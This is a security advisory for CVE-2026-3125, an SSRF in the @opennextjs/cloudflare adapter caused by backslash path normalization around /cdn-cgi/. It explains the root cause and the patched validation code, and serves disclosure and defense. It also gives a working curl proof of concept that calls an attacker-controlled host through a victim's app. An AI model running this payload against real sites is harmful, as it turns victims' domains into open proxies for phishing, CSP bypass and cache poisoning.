CVE-2026-3125: SSRF via Differential Path Normalization in @opennextjs/cloudflare

The vulnerability affects @opennextjs/cloudflare, an adapter that enables Next.js applications to run on Cloudflare Workers. The issue centers on the handling of the reserved /cdn-cgi/ path namespace, which is typically intercepted by Cloudflare's Edge infrastructure for services like image resizing and security checks.

Due to a discrepancy in how path separators are interpreted, an attacker can construct a request using backslashes (e.g., /cdn-cgi\image/) that bypasses the Edge interception layer. The Edge treats the backslash as a literal character and does not match it against the reserved /cdn-cgi/ path rule. However, when the request reaches the JavaScript Worker runtime, standard URL normalization converts the backslash into a forward slash.

This normalization collision causes the Worker to route the request to a development-only image optimization handler. This handler, intended for local testing, blindly proxies requests to a user-supplied URL, resulting in Server-Side Request Forgery (SSRF).

The root cause is a classic Differential Path Normalization vulnerability, specifically involving the cdn-cgi endpoint. The architecture involves two distinct parsing layers with conflicting logic:

1. Cloudflare Edge (The Gatekeeper): The Edge layer inspects incoming HTTP requests. Rules intended to protect or intercept /cdn-cgi/ paths use strict string matching that expects forward slashes (/). A path like /cdn-cgi\image does not match these rules and is allowed to pass through to the origin (the Worker).

2. Worker Runtime (The Normalizer): Once the request is handed off to the OpenNext Worker, the runtime environment (compliant with WHATWG URL standards) normalizes the path. The backslash (\) is converted to a forward slash (/).

3. Vulnerable Handler Logic: The OpenNext adapter contains a fallback handler for image optimization designed for development. It listens for requests matching /cdn-cgi/image/ and extracts the subsequent path segment as a target URL to fetch. Because the request was normalized after bypassing the Edge, this handler is triggered in production environments where it should not be accessible. The handler then executes an unvalidated fetch() to the attacker-controlled URL.

The remediation in version 1.17.1 introduces strict validation logic to replace the loose routing previously used. The fix involves two primary components: strict regex parsing and response content-type validation (magic byte checks).

1. Strict Path Parsing (Input Validation)

The patch replaces ad-hoc path splitting with a regular expression that explicitly defines the expected structure. It also rejects protocol-relative URLs (//) to prevent ambiguity.

// Patched logic in parseCdnCgiImageRequest
export function parseCdnCgiImageRequest(pathname: string) {
  // Strict regex enforces exact structure
  const match = pathname.match(/^\/cdn-cgi\/image\/(?<options>[^/]+)\/(?<url>.+)$/);
 
  if (!match || !match.groups) {
    return null;
  }
 
  const { options, url } = match.groups;
 
  // Security: Prevent protocol-relative URL usage which can bypass filters
  if (url.startsWith("//")) {
    return null;
  }
 
  return { options, url };
}

2. Response Validation (Output Sanitization)

To mitigate the impact of any potential bypass, the patch adds detectImageContentType. This function inspects the magic bytes (file signature) of the fetched content to ensure it is actually an image, preventing the proxy from serving HTML, scripts, or other malicious payloads.

// New validation ensuring only valid images are proxied
export function detectImageContentType(buffer: Uint8Array): ImageContentType | null {
  // JPEG magic bytes (FF D8)
  if (buffer[0] === 0xff && buffer[1] === 0xd8) return "image/jpeg";
  // PNG magic bytes (89 50)
  if (buffer[0] === 0x89 && buffer[1] === 0x50) return "image/png";
  // GIF magic bytes (47 49 46)
  if (buffer[0] === 0x47 && buffer[1] === 0x49 && buffer[2] === 0x46) return "image/gif";
  
  return null;
}

This "defense-in-depth" approach ensures that even if the route is accessed, the functionality is restricted to its intended use case (images) rather than arbitrary proxying.

Exploiting this vulnerability requires sending a raw HTTP request that preserves the backslash character. Standard browsers and some HTTP clients normalize paths before sending, so a tool like curl with the --path-as-is flag is required.

Attack Scenario:

1. Target: A Next.js application using @opennextjs/cloudflare < 1.17.1.
2. Payload: A request to /cdn-cgi\image/ followed by a dummy option string and the malicious target URL.

# --path-as-is prevents local client normalization
curl --path-as-is "https://victim-app.com/cdn-cgi\image/fit=cover/https://attacker-controlled.com/malicious-script.js"

Execution Flow:

1. Cloudflare Edge: Receives /cdn-cgi\image/.... The rule for /cdn-cgi/ (forward slash) does not match. The request is forwarded to the Worker.
2. Worker Runtime: Normalizes /cdn-cgi\image to /cdn-cgi/image.
3. OpenNext Handler: Matches the normalized path. It extracts https://attacker-controlled.com/malicious-script.js.
4. SSRF: The worker fetches the script from the attacker's server and returns it to the client.

This effectively turns the victim's domain into an open proxy serving attacker content, which can be used to bypass Content Security Policy (CSP) or conduct phishing attacks using a trusted domain.

The vulnerability carries a High severity rating (CVSS 7.7) due to the combination of SSRF and security control bypass.

Security Implications:

• Security Control Bypass: The primary impact is the circumvention of Cloudflare Edge protections. Rules designed to block or manage /cdn-cgi/ traffic are rendered ineffective.
• Open Proxy: Attackers can utilize the victim's application to fetch content from third-party sites. This obscures the attacker's origin IP and leverages the victim's domain reputation.
• Internal Scanning: If the Worker environment has access to internal endpoints (rare for Edge Workers, but possible depending on bindings/VPC configuration), the SSRF could be used to probe internal services.
• Cache Poisoning: Since the response is served by the Next.js application, there is a risk that the malicious content could be cached by downstream CDNs or browsers, persistently serving attacker content on the victim's domain.

Limitations: This vulnerability is specific to the @opennextjs/cloudflare adapter. It does not compromise the underlying Cloudflare infrastructure itself, but rather the specific application logic deployed on top of it.